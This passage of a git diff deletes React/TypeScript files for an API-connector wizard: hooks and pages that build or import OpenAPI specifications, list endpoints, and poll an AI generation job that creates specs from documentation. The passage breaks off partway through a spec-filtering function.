-                ) : (
-                    <ul className="max-h-64 divide-y overflow-y-auto rounded-md border">
-                        {displayEndpoints.map((endpoint) => (
-                            <li className="flex items-center justify-between p-3" key={endpoint.id}>
-                                <div className="flex items-center gap-3">
-                                    <Badge
-                                        className={twMerge('w-20', getHttpMethodBadgeColor(endpoint.httpMethod))}
-                                        label={endpoint.httpMethod}
-                                        styleType="outline-outline"
-                                        weight="semibold"
-                                    />
-
-                                    <div>
-                                        <p className="text-sm font-medium">{endpoint.operationId}</p>
-
-                                        <p className="text-xs text-gray-500">{endpoint.path}</p>
-
-                                        {endpoint.summary && (
-                                            <p className="text-xs text-gray-400">{endpoint.summary}</p>
-                                        )}
-                                    </div>
-                                </div>
-
-                                {mode === 'manual' && (
-                                    <Button
-                                        icon={<Trash2Icon className="size-4" />}
-                                        onClick={() => removeEndpoint(endpoint.id)}
-                                        size="icon"
-                                        variant="ghost"
-                                    />
-                                )}
-                            </li>
-                        ))}
-                    </ul>
-                )}
-            </div>
-
-            {specification && (
-                <div>
-                    <h4 className="mb-2 text-sm font-medium">Generated OpenAPI Specification</h4>
-
-                    <pre className="max-h-48 overflow-auto rounded-md bg-gray-100 p-3 text-xs">{specification}</pre>
-                </div>
-            )}
-        </div>
-    );
-};
-
-export default ApiConnectorWizardReviewStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizard.ts b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizard.ts
deleted file mode 100644
index 6467ebe27f7..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizard.ts
+++ /dev/null
@@ -1,71 +0,0 @@
-import {useEffect} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-
-import {useApiConnectorWizardStore} from '../../../stores/useApiConnectorWizardStore';
-
-type WizardFormType = 'basic' | 'docUrl' | 'import';
-
-interface WizardFormDataI {
-    baseUrl: string;
-    documentationUrl: string;
-    icon: string;
-    name: string;
-    specification: string;
-    userPrompt: string;
-}
-
-interface UseApiConnectorWizardI {
-    control: UseFormReturn<WizardFormDataI>['control'];
-    form: UseFormReturn<WizardFormDataI>;
-}
-
-export default function useApiConnectorWizard(formType: WizardFormType): UseApiConnectorWizardI {
-    const {baseUrl, documentationUrl, icon, name, specification, userPrompt} = useApiConnectorWizardStore();
-    const {setBaseUrl, setDocumentationUrl, setIcon, setName, setSpecification, setUserPrompt} =
-        useApiConnectorWizardStore();
-
-    const form = useForm<WizardFormDataI>({
-        defaultValues: {
-            baseUrl: baseUrl || '',
-            documentationUrl: documentationUrl || '',
-            icon: icon || '',
-            name: name || '',
-            specification: specification || '',
-            userPrompt: userPrompt || '',
-        },
-    });
-
-    useEffect(() => {
-        const subscription = form.watch((values) => {
-            if (values.name !== undefined) {
-                setName(values.name);
-            }
-
-            if (values.icon !== undefined) {
-                setIcon(values.icon);
-            }
-
-            if (formType === 'basic' && values.baseUrl !== undefined) {
-                setBaseUrl(values.baseUrl);
-            }
-
-            if (formType === 'import' && values.specification !== undefined) {
-                setSpecification(values.specification);
-            }
-
-            if (formType === 'docUrl') {
-                if (values.documentationUrl !== undefined) {
-                    setDocumentationUrl(values.documentationUrl);
-                }
-
-                if (values.userPrompt !== undefined) {
-                    setUserPrompt(values.userPrompt);
-                }
-            }
-        });
-
-        return () => subscription.unsubscribe();
-    }, [form, formType, setBaseUrl, setDocumentationUrl, setIcon, setName, setSpecification, setUserPrompt]);
-
-    return {control: form.control, form};
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointSelectionStep.ts b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointSelectionStep.ts
deleted file mode 100644
index 3b6e4cc9794..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointSelectionStep.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {useMemo} from 'react';
-
-import {useApiConnectorWizardStore} from '../../../stores/useApiConnectorWizardStore';
-import {DiscoveredEndpointI} from '../../../types/api-connector-wizard.types';
-
-interface EndpointsByResourceI {
-    [resource: string]: DiscoveredEndpointI[];
-}
-
-interface UseApiConnectorWizardEndpointSelectionStepI {
-    allSelected: boolean;
-    deselectAllEndpoints: () => void;
-    discoveredEndpoints: DiscoveredEndpointI[];
-    endpointsByResource: EndpointsByResourceI;
-    noneSelected: boolean;
-    resourceNames: string[];
-    selectAllEndpoints: () => void;
-    selectedEndpointIds: string[];
-    toggleEndpointSelection: (endpointId: string) => void;
-}
-
-export default function useApiConnectorWizardEndpointSelectionStep(): UseApiConnectorWizardEndpointSelectionStepI {
-    const {
-        deselectAllEndpoints,
-        discoveredEndpoints,
-        selectAllEndpoints,
-        selectedEndpointIds,
-        toggleEndpointSelection,
-    } = useApiConnectorWizardStore();
-
-    const endpointsByResource = useMemo(() => {
-        return discoveredEndpoints.reduce<EndpointsByResourceI>((acc, endpoint) => {
-            const resource = endpoint.resource || 'Other';
-
-            if (!acc[resource]) {
-                acc[resource] = [];
-            }
-
-            acc[resource].push(endpoint);
-
-            return acc;
-        }, {});
-    }, [discoveredEndpoints]);
-
-    const resourceNames = useMemo(() => Object.keys(endpointsByResource).sort(), [endpointsByResource]);
-
-    const allSelected = selectedEndpointIds.length === discoveredEndpoints.length;
-    const noneSelected = selectedEndpointIds.length === 0;
-
-    return {
-        allSelected,
-        deselectAllEndpoints,
-        discoveredEndpoints,
-        endpointsByResource,
-        noneSelected,
-        resourceNames,
-        selectAllEndpoints,
-        selectedEndpointIds,
-        toggleEndpointSelection,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointsStep.ts b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointsStep.ts
deleted file mode 100644
index a97ec080ede..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardEndpointsStep.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {useCallback, useState} from 'react';
-
-import {useApiConnectorWizardStore} from '../../../stores/useApiConnectorWizardStore';
-import {EndpointDefinitionI} from '../../../types/api-connector-wizard.types';
-
-interface UseApiConnectorWizardEndpointsStepI {
-    editingEndpoint: EndpointDefinitionI | undefined;
-    endpoints: EndpointDefinitionI[];
-    handleCloseDialog: () => void;
-    handleSaveEndpoint: (endpoint: EndpointDefinitionI) => void;
-    isDialogOpen: boolean;
-    openAddDialog: () => void;
-    openEditDialog: (endpoint: EndpointDefinitionI) => void;
-    removeEndpoint: (id: string) => void;
-}
-
-export default function useApiConnectorWizardEndpointsStep(): UseApiConnectorWizardEndpointsStepI {
-    const {addEndpoint, endpoints, removeEndpoint, updateEndpoint} = useApiConnectorWizardStore();
-    const [isDialogOpen, setIsDialogOpen] = useState(false);
-    const [editingEndpoint, setEditingEndpoint] = useState<EndpointDefinitionI | undefined>(undefined);
-
-    const openAddDialog = useCallback(() => {
-        setEditingEndpoint(undefined);
-        setIsDialogOpen(true);
-    }, []);
-
-    const openEditDialog = useCallback((endpoint: EndpointDefinitionI) => {
-        setEditingEndpoint(endpoint);
-        setIsDialogOpen(true);
-    }, []);
-
-    const handleSaveEndpoint = useCallback(
-        (endpoint: EndpointDefinitionI) => {
-            if (editingEndpoint) {
-                updateEndpoint(editingEndpoint.id, endpoint);
-            } else {
-                addEndpoint(endpoint);
-            }
-
-            setIsDialogOpen(false);
-            setEditingEndpoint(undefined);
-        },
-        [addEndpoint, editingEndpoint, updateEndpoint]
-    );
-
-    const handleCloseDialog = useCallback(() => {
-        setIsDialogOpen(false);
-        setEditingEndpoint(undefined);
-    }, []);
-
-    return {
-        editingEndpoint,
-        endpoints,
-        handleCloseDialog,
-        handleSaveEndpoint,
-        isDialogOpen,
-        openAddDialog,
-        openEditDialog,
-        removeEndpoint,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardLayout.ts b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardLayout.ts
deleted file mode 100644
index 3e6f6f7d028..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardLayout.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {useMemo} from 'react';
-
-interface UseApiConnectorWizardLayoutProps {
-    currentStep: number;
-    isProcessing?: boolean;
-    pageTitle: string;
-    primaryButtonLabel?: string;
-    steps: readonly string[];
-}
-
-interface UseApiConnectorWizardLayoutI {
-    cancelButtonLabel: string;
-    isFirstStep: boolean;
-    isLastStep: boolean;
-    pageTitleWithStep: string;
-    primaryLabel: string;
-    stepCount: number;
-}
-
-export default function useApiConnectorWizardLayout({
-    currentStep,
-    isProcessing = false,
-    pageTitle,
-    primaryButtonLabel,
-    steps,
-}: UseApiConnectorWizardLayoutProps): UseApiConnectorWizardLayoutI {
-    const stepCount = steps.length;
-    const isLastStep = currentStep === stepCount - 1;
-    const isFirstStep = currentStep === 0;
-
-    const pageTitleWithStep = useMemo(() => {
-        const stepName = steps[currentStep] || '';
-
-        return `${pageTitle} - ${stepName}`;
-    }, [currentStep, pageTitle, steps]);
-
-    const cancelButtonLabel = useMemo(() => {
-        if (isProcessing) {
-            return 'Cancel Generation';
-        }
-
-        return 'Cancel';
-    }, [isProcessing]);
-
-    const primaryLabel = useMemo(() => {
-        if (isLastStep) {
-            return 'Save';
-        }
-
-        return primaryButtonLabel || 'Next';
-    }, [isLastStep, primaryButtonLabel]);
-
-    return {
-        cancelButtonLabel,
-        isFirstStep,
-        isLastStep,
-        pageTitleWithStep,
-        primaryLabel,
-        stepCount,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardReviewStep.ts b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardReviewStep.ts
deleted file mode 100644
index 047d446380a..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/hooks/useApiConnectorWizardReviewStep.ts
+++ /dev/null
@@ -1,198 +0,0 @@
-import {toast} from '@/hooks/use-toast';
-import {HttpMethod} from '@/shared/middleware/graphql';
-import {useCallback, useEffect, useMemo, useRef} from 'react';
-import {parse as yamlParse, stringify as yamlStringify} from 'yaml';
-
-import {useApiConnectorWizardStore} from '../../../stores/useApiConnectorWizardStore';
-import {EndpointDefinitionI, WizardModeType} from '../../../types/api-connector-wizard.types';
-import {safeJsonParse} from '../../../utils/json-utils';
-
-interface UseApiConnectorWizardReviewStepProps {
-    mode: WizardModeType;
-}
-
-interface UseApiConnectorWizardReviewStepI {
-    baseUrl: string | undefined;
-    displayEndpoints: EndpointDefinitionI[];
-    name: string;
-    removeEndpoint: (id: string) => void;
-    specification: string | undefined;
-}
-
-export default function useApiConnectorWizardReviewStep({
-    mode,
-}: UseApiConnectorWizardReviewStepProps): UseApiConnectorWizardReviewStepI {
-    const {baseUrl, endpoints, name, removeEndpoint, setSpecification, specification} = useApiConnectorWizardStore();
-    const specParseErrorShownRef = useRef(false);
-
-    const generateOpenApiSpec = useCallback(() => {
-        const paths: Record<string, Record<string, unknown>> = {};
-
-        endpoints.forEach((endpoint) => {
-            const method = endpoint.httpMethod.toLowerCase();
-
-            if (!paths[endpoint.path]) {
-                paths[endpoint.path] = {};
-            }
-
-            const operation: Record<string, unknown> = {
-                operationId: endpoint.operationId,
-                responses: {},
-            };
-
-            if (endpoint.summary) {
-                operation.summary = endpoint.summary;
-            }
-
-            if (endpoint.description) {
-                operation.description = endpoint.description;
-            }
-
-            if (endpoint.parameters && endpoint.parameters.length > 0) {
-                operation.parameters = endpoint.parameters.map((param) => ({
-                    description: param.description,
-                    in: param.in,
-                    name: param.name,
-                    required: param.required,
-                    schema: {type: param.type},
-                }));
-            }
-
-            if (endpoint.requestBody) {
-                const {data: parsedSchema, success: schemaParseSuccess} = safeJsonParse(
-                    endpoint.requestBody.schema,
-                    `request body schema for ${endpoint.operationId}`
-                );
-
-                if (schemaParseSuccess) {
-                    operation.requestBody = {
-                        content: {
-                            [endpoint.requestBody.contentType]: {
-                                schema: parsedSchema,
-                            },
-                        },
-                        required: endpoint.requestBody.required,
-                    };
-                }
-            }
-
-            endpoint.responses.forEach((response) => {
-                const responseObj: Record<string, unknown> = {
-                    description: response.description,
-                };
-
-                if (response.contentType && response.schema) {
-                    const {data: parsedResponseSchema, success: responseSchemaParseSuccess} = safeJsonParse(
-                        response.schema,
-                        `response schema for ${endpoint.operationId}`
-                    );
-
-                    if (responseSchemaParseSuccess) {
-                        responseObj.content = {
-                            [response.contentType]: {
-                                schema: parsedResponseSchema,
-                            },
-                        };
-                    }
-                }
-
-                (operation.responses as Record<string, unknown>)[response.statusCode] = responseObj;
-            });
-
-            paths[endpoint.path][method] = operation;
-        });
-
-        const openApiSpec = {
-            info: {
-                title: name,
-                version: '1.0.0',
-            },
-            openapi: '3.0.0',
-            paths,
-            servers: baseUrl ? [{url: baseUrl}] : [],
-        };
-
-        return yamlStringify(openApiSpec);
-    }, [baseUrl, endpoints, name]);
-
-    useEffect(() => {
-        if (mode === 'manual') {
-            if (endpoints.length > 0) {
-                const generatedSpec = generateOpenApiSpec();
-
-                setSpecification(generatedSpec);
-            } else {
-                setSpecification(undefined);
-            }
-        }
-    }, [endpoints, generateOpenApiSpec, mode, setSpecification]);
-
-    useEffect(() => {
-        specParseErrorShownRef.current = false;
-    }, [specification]);
-
-    const parseEndpointsFromSpec = useCallback((): EndpointDefinitionI[] => {
-        if (!specification || mode === 'manual') {
-            return endpoints;
-        }
-
-        try {
-            const parsed = yamlParse(specification);
-            const parsedEndpoints: EndpointDefinitionI[] = [];
-
-            if (parsed.paths) {
-                Object.entries(parsed.paths).forEach(([path, methods]) => {
-                    Object.entries(methods as Record<string, Record<string, unknown>>).forEach(
-                        ([method, operation]) => {
-                            const httpMethod = method.toUpperCase() as HttpMethod;
-
-                            if (Object.values(HttpMethod).includes(httpMethod)) {
-                                parsedEndpoints.push({
-                                    description: (operation.description as string) || '',
-                                    httpMethod,
-                                    id: `${path}-${method}`,
-                                    operationId:
-                                        (operation.operationId as string) || `${method}${path.replace(/\//g, '_')}`,
-                                    parameters: [],
-                                    path,
-                                    responses: [],
-                                    summary: (operation.summary as string) || '',
-                                });
-                            }
-                        }
-                    );
-                });
-            }
-
-            return parsedEndpoints;
-        } catch (error) {
-            console.error('Failed to parse API connector specification as YAML:', error);
-
-            if (!specParseErrorShownRef.current) {
-                specParseErrorShownRef.current = true;
-
-                toast({
-                    description:
-                        'The specification could not be parsed. Please check that it is valid YAML/OpenAPI format.',
-                    title: 'Failed to parse specification',
-                    variant: 'destructive',
-                });
-            }
-
-            return [];
-        }
-    }, [endpoints, mode, specification]);
-
-    const displayEndpoints = useMemo(
-        () => (mode === 'manual' ? endpoints : parseEndpointsFromSpec()),
-        [endpoints, mode, parseEndpointsFromSpec]
-    );
-
-    return {
-        baseUrl,
-        displayEndpoints,
-        name,
-        removeEndpoint,
-        specification,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/hooks/useApiConnectorEndpointListItem.ts b/client/src/ee/pages/settings/platform/api-connectors/hooks/useApiConnectorEndpointListItem.ts
deleted file mode 100644
index 9414594feaa..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/hooks/useApiConnectorEndpointListItem.ts
+++ /dev/null
@@ -1,83 +0,0 @@
-import {ApiConnectorEndpoint} from '@/shared/middleware/graphql';
-import {CloudDownloadIcon, FolderSyncIcon, InfoIcon, SendToBackIcon, Trash2Icon, UploadIcon} from 'lucide-react';
-import {createElement, useMemo, useState} from 'react';
-
-import {useEndpointDetailPanelStore} from '../stores/useEndpointDetailPanelStore';
-
-interface UseApiConnectorEndpointListItemProps {
-    apiConnectorEndpoint: ApiConnectorEndpoint;
-    apiConnectorName: string;
-    specification?: string;
-}
-
-const useApiConnectorEndpointListItem = ({
-    apiConnectorEndpoint,
-    apiConnectorName,
-    specification,
-}: UseApiConnectorEndpointListItemProps) => {
-    const [showEditWorkflowDialog, setShowEditWorkflowDialog] = useState(false);
-
-    const {openPanel} = useEndpointDetailPanelStore();
-
-    const lastExecutionDate = useMemo(
-        () => (apiConnectorEndpoint.lastExecutionDate ? new Date(apiConnectorEndpoint.lastExecutionDate) : undefined),
-        [apiConnectorEndpoint.lastExecutionDate]
-    );
-
-    const method = apiConnectorEndpoint.httpMethod;
-
-    const httpMethodStyles = useMemo(() => {
-        const iconClassName = 'size-3';
-
-        switch (method) {
-            case 'GET':
-                return {
-                    icon: createElement(CloudDownloadIcon, {className: iconClassName}),
-                    textColor: 'text-content-brand-primary',
-                };
-            case 'POST':
-                return {
-                    icon: createElement(UploadIcon, {className: iconClassName}),
-                    textColor: 'text-content-success-primary',
-                };
-            case 'PUT':
-                return {
-                    icon: createElement(SendToBackIcon, {className: iconClassName}),
-                    textColor: 'text-content-warning-primary',
-                };
-            case 'PATCH':
-                return {
-                    icon: createElement(FolderSyncIcon, {className: iconClassName}),
-                    textColor: 'text-orange-700',
-                };
-            case 'DELETE':
-                return {
-                    icon: createElement(Trash2Icon, {className: iconClassName}),
-                    textColor: 'text-content-destructive-primary',
-                };
-            default:
-                return {
-                    icon: createElement(InfoIcon, {className: iconClassName}),
-                    textColor: 'text-gray-700',
-                };
-        }
-    }, [method]);
-
-    const {icon, textColor} = httpMethodStyles;
-
-    const handleClick = () => {
-        openPanel(apiConnectorEndpoint, apiConnectorName, specification);
-    };
-
-    return {
-        handleClick,
-        icon,
-        lastExecutionDate,
-        method,
-        setShowEditWorkflowDialog,
-        showEditWorkflowDialog,
-        textColor,
-    };
-};
-
-export default useApiConnectorEndpointListItem;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorAiPage.tsx b/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorAiPage.tsx
deleted file mode 100644
index e7f99ed24a9..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorAiPage.tsx
+++ /dev/null
@@ -1,47 +0,0 @@
-import LoadingIcon from '@/components/LoadingIcon';
-
-import ApiConnectorWizardDocUrlStep from '../components/wizard/ApiConnectorWizardDocUrlStep';
-import ApiConnectorWizardEndpointSelectionStep from '../components/wizard/ApiConnectorWizardEndpointSelectionStep';
-import ApiConnectorWizardLayout from '../components/wizard/ApiConnectorWizardLayout';
-import ApiConnectorWizardReviewStep from '../components/wizard/ApiConnectorWizardReviewStep';
-import {WIZARD_STEPS} from '../types/api-connector-wizard.types';
-import useApiConnectorAiPage from './hooks/useApiConnectorAiPage';
-
-const ApiConnectorAiPage = () => {
-    const {canProceed, currentStep, handleCancel, handleNext, handleSave, isPending, isProcessing, previousStep} =
-        useApiConnectorAiPage();
-
-    return (
-        <ApiConnectorWizardLayout
-            canProceed={canProceed}
-            currentStep={currentStep}
-            isPending={isPending}
-            isProcessing={isProcessing}
-            onCancel={handleCancel}
-            onNext={handleNext}
-            onPrevious={previousStep}
-            onSave={handleSave}
-            pageTitle="Create from Documentation"
-            primaryButtonLabel={currentStep === 0 ? 'Generate' : 'Next'}
-            steps={WIZARD_STEPS.ai}
-        >
-            {currentStep === 0 && isProcessing && (
-                <div className="flex flex-col items-center justify-center py-12">
-                    <LoadingIcon className="size-8" />
-
-                    <p className="mt-4 text-sm text-gray-600">Generating OpenAPI specification...</p>
-
-                    <p className="mt-2 text-xs text-gray-500">This may take a minute</p>
-                </div>
-            )}
-
-            {currentStep === 0 && !isProcessing && <ApiConnectorWizardDocUrlStep />}
-
-            {currentStep === 1 && <ApiConnectorWizardEndpointSelectionStep />}
-
-            {currentStep >= 2 && <ApiConnectorWizardReviewStep mode="ai" />}
-        </ApiConnectorWizardLayout>
-    );
-};
-
-export default ApiConnectorAiPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorImportPage.tsx b/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorImportPage.tsx
deleted file mode 100644
index 6c7b05cebc6..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorImportPage.tsx
+++ /dev/null
@@ -1,28 +0,0 @@
-import ApiConnectorWizardImportStep from '../components/wizard/ApiConnectorWizardImportStep';
-import ApiConnectorWizardLayout from '../components/wizard/ApiConnectorWizardLayout';
-import ApiConnectorWizardReviewStep from '../components/wizard/ApiConnectorWizardReviewStep';
-import {WIZARD_STEPS} from '../types/api-connector-wizard.types';
-import useApiConnectorImportPage from './hooks/useApiConnectorImportPage';
-
-const ApiConnectorImportPage = () => {
-    const {canProceed, currentStep, handleCancel, handleNext, handleSave, isPending, previousStep} =
-        useApiConnectorImportPage();
-
-    return (
-        <ApiConnectorWizardLayout
-            canProceed={canProceed}
-            currentStep={currentStep}
-            isPending={isPending}
-            onCancel={handleCancel}
-            onNext={handleNext}
-            onPrevious={previousStep}
-            onSave={handleSave}
-            pageTitle="Import OpenAPI"
-            steps={WIZARD_STEPS.import}
-        >
-            {currentStep === 0 ? <ApiConnectorWizardImportStep /> : <ApiConnectorWizardReviewStep mode="import" />}
-        </ApiConnectorWizardLayout>
-    );
-};
-
-export default ApiConnectorImportPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorManualPage.tsx b/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorManualPage.tsx
deleted file mode 100644
index 816d4e0e403..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/ApiConnectorManualPage.tsx
+++ /dev/null
@@ -1,33 +0,0 @@
-import ApiConnectorWizardBasicStep from '../components/wizard/ApiConnectorWizardBasicStep';
-import ApiConnectorWizardEndpointsStep from '../components/wizard/ApiConnectorWizardEndpointsStep';
-import ApiConnectorWizardLayout from '../components/wizard/ApiConnectorWizardLayout';
-import ApiConnectorWizardReviewStep from '../components/wizard/ApiConnectorWizardReviewStep';
-import {WIZARD_STEPS} from '../types/api-connector-wizard.types';
-import useApiConnectorManualPage from './hooks/useApiConnectorManualPage';
-
-const ApiConnectorManualPage = () => {
-    const {canProceed, currentStep, handleCancel, handleNext, handleSave, isPending, previousStep} =
-        useApiConnectorManualPage();
-
-    return (
-        <ApiConnectorWizardLayout
-            canProceed={canProceed}
-            currentStep={currentStep}
-            isPending={isPending}
-            onCancel={handleCancel}
-            onNext={handleNext}
-            onPrevious={previousStep}
-            onSave={handleSave}
-            pageTitle="Create API Connector"
-            steps={WIZARD_STEPS.manual}
-        >
-            {currentStep === 0 && <ApiConnectorWizardBasicStep />}
-
-            {currentStep === 1 && <ApiConnectorWizardEndpointsStep />}
-
-            {currentStep >= 2 && <ApiConnectorWizardReviewStep mode="manual" />}
-        </ApiConnectorWizardLayout>
-    );
-};
-
-export default ApiConnectorManualPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorAiPage.ts b/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorAiPage.ts
deleted file mode 100644
index 2d25fdfed5f..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorAiPage.ts
+++ /dev/null
@@ -1,401 +0,0 @@
-import {toast} from '@/hooks/use-toast';
-import {
-    HttpMethod,
-    useCancelGenerationJobMutation,
-    useGenerationJobStatusQuery,
-    useImportOpenApiSpecificationMutation,
-    useStartGenerateFromDocumentationPreviewMutation,
-} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useCallback, useEffect, useRef} from 'react';
-import {useNavigate} from 'react-router-dom';
-import {parse as yamlParse, stringify as yamlStringify} from 'yaml';
-
-import {useApiConnectorWizardStore} from '../../stores/useApiConnectorWizardStore';
-import {DiscoveredEndpointI} from '../../types/api-connector-wizard.types';
-import {API_CONNECTORS_PATH} from './useImportApiConnector';
-
-// Maximum number of polling attempts before timing out (5 minutes at 1 second intervals)
-const MAX_POLLING_ATTEMPTS = 300;
-
-interface UseApiConnectorAiPageI {
-    canProceed: boolean;
-    currentStep: number;
-    handleCancel: () => Promise<void>;
-    handleNext: () => void;
-    handleSave: () => void;
-    isPending: boolean;
-    isProcessing: boolean;
-    previousStep: () => void;
-}
-
-const useApiConnectorAiPage = (): UseApiConnectorAiPageI => {
-    const {
-        currentStep,
-        discoveredEndpoints,
-        documentationUrl,
-        icon,
-        isProcessing,
-        jobId,
-        name,
-        nextStep,
-        previousStep,
-        reset,
-        selectAllEndpoints,
-        selectedEndpointIds,
-        setDiscoveredEndpoints,
-        setError,
-        setIsProcessing,
-        setJobId,
-        setSpecification,
-        specification,
-        userPrompt,
-    } = useApiConnectorWizardStore();
-
-    const navigate = useNavigate();
-    const queryClient = useQueryClient();
-
-    useEffect(() => {
-        reset();
-    }, [reset]);
-
-    const onSuccess = () => {
-        queryClient.invalidateQueries({
-            queryKey: ['apiConnectors'],
-        });
-
-        reset();
-        navigate(API_CONNECTORS_PATH);
-    };
-
-    const importOpenApiSpecificationMutation = useImportOpenApiSpecificationMutation({onSuccess});
-
-    const startGenerationMutation = useStartGenerateFromDocumentationPreviewMutation({
-        onError: (error: Error) => {
-            setError(error.message);
-            setIsProcessing(false);
-        },
-        onSuccess: (result) => {
-            if (result.startGenerateFromDocumentationPreview.jobId) {
-                setJobId(result.startGenerateFromDocumentationPreview.jobId);
-            }
-        },
-    });
-
-    const cancelGenerationMutation = useCancelGenerationJobMutation();
-
-    const pollingStartTimeRef = useRef<number | null>(null);
-
-    const {data: jobStatusData, isError: isJobStatusError} = useGenerationJobStatusQuery(
-        {jobId: jobId || ''},
-        {
-            enabled: !!jobId,
-            refetchInterval: (query) => {
-                const status = query.state.data?.generationJobStatus?.status;
-
-                if (status === 'COMPLETED' || status === 'FAILED' || status === 'CANCELLED') {
-                    pollingStartTimeRef.current = null;
-
-                    return false;
-                }
-
-                if (pollingStartTimeRef.current === null) {
-                    pollingStartTimeRef.current = Date.now();
-                }
-
-                const elapsedMs = Date.now() - pollingStartTimeRef.current;
-
-                if (elapsedMs >= MAX_POLLING_ATTEMPTS * 1000) {
-                    pollingStartTimeRef.current = null;
-
-                    return false;
-                }
-
-                return 1000;
-            },
-        }
-    );
-
-    const jobStatus = jobStatusData?.generationJobStatus;
-
-    useEffect(() => {
-        if (isJobStatusError && isProcessing) {
-            setError('Failed to check generation status. Please try again.');
-            setIsProcessing(false);
-            setJobId(null);
-            pollingStartTimeRef.current = null;
-        }
-    }, [isJobStatusError, isProcessing, setError, setIsProcessing, setJobId]);
-
-    const jobCompletedRef = useRef(false);
-
-    // Handle polling timeout by checking elapsed time
-    useEffect(() => {
-        if (!jobId || !isProcessing) {
-            jobCompletedRef.current = false;
-
-            return;
-        }
-
-        const timeoutId = setTimeout(() => {
-            if (jobCompletedRef.current) {
-                return;
-            }
-
-            if (isProcessing && jobId) {
-                setError('Generation timed out after 5 minutes. Please try again.');
-                setIsProcessing(false);
-                setJobId(null);
-                pollingStartTimeRef.current = null;
-            }
-        }, MAX_POLLING_ATTEMPTS * 1000);
-
-        return () => clearTimeout(timeoutId);
-    }, [isProcessing, jobId, setError, setIsProcessing, setJobId]);
-
-    const parseEndpointsFromSpecification = useCallback((spec: string): DiscoveredEndpointI[] => {
-        try {
-            const parsed = yamlParse(spec);
-            const endpoints: DiscoveredEndpointI[] = [];
-
-            if (parsed.paths) {
-                Object.entries(parsed.paths).forEach(([path, methods]) => {
-                    Object.entries(methods as Record<string, Record<string, unknown>>).forEach(
-                        ([method, operation]) => {
-                            const httpMethod = method.toUpperCase();
-
-                            if (Object.values(HttpMethod).includes(httpMethod as HttpMethod)) {
-                                const tags = operation.tags as string[] | undefined;
-                                const resource = tags?.[0] || path.split('/')[1] || 'Other';
-
-                                endpoints.push({
-                                    id: `${path}-${method}`,
-                                    method: httpMethod,
-                                    path,
-                                    resource: `${resource.charAt(0).toUpperCase()}${resource.slice(1)}`,
-                                    summary: (operation.summary as string) || undefined,
-                                });
-                            }
-                        }
-                    );
-                });
-            }
-
-            return endpoints;
-        } catch (error) {
-            console.error('Failed to parse specification for endpoint discovery:', error);
-
-            toast({
-                description: 'The generated specification could not be parsed. Please try again.',
-                title: 'Failed to parse specification',
-                variant: 'destructive',
-            });
-
-            return [];
-        }
-    }, []);
-
-    useEffect(() => {
-        if (!jobStatus) {
-            return;
-        }
-
-        if (jobStatus.status === 'COMPLETED' && jobStatus.specification) {
-            jobCompletedRef.current = true;
-            setSpecification(jobStatus.specification);
-
-            const endpoints = parseEndpointsFromSpecification(jobStatus.specification);
-
-            setDiscoveredEndpoints(endpoints);
-            selectAllEndpoints();
-            setIsProcessing(false);
-            setJobId(null);
-            nextStep();
-        } else if (jobStatus.status === 'FAILED') {
-            jobCompletedRef.current = true;
-            setError(jobStatus.errorMessage || 'Generation failed');
-            setIsProcessing(false);
-            setJobId(null);
-        } else if (jobStatus.status === 'CANCELLED') {
-            jobCompletedRef.current = true;
-            setIsProcessing(false);
-            setJobId(null);
-        }
-    }, [
-        jobStatus,
-        nextStep,
-        parseEndpointsFromSpecification,
-        selectAllEndpoints,
-        setDiscoveredEndpoints,
-        setError,
-        setIsProcessing,
-        setJobId,
-        setSpecification,
-    ]);
-
-    const isValidUrl = useCallback((urlString: string): boolean => {
-        try {
-            const url = new URL(urlString);
-
-            return url.protocol === 'http:' || url.protocol === 'https:';
-        } catch {
-            return false;
-        }
-    }, []);
-
-    const getSpecificationFilteredBySelectedEndpoints = useCallback((): string | null => {
-        if (!specification) {
-            return null;
-        }
-
-        if (selectedEndpointIds.length === discoveredEndpoints.length) {
-            return specification;
-        }
-
-        try {
-            const parsed = yamlParse(specification);
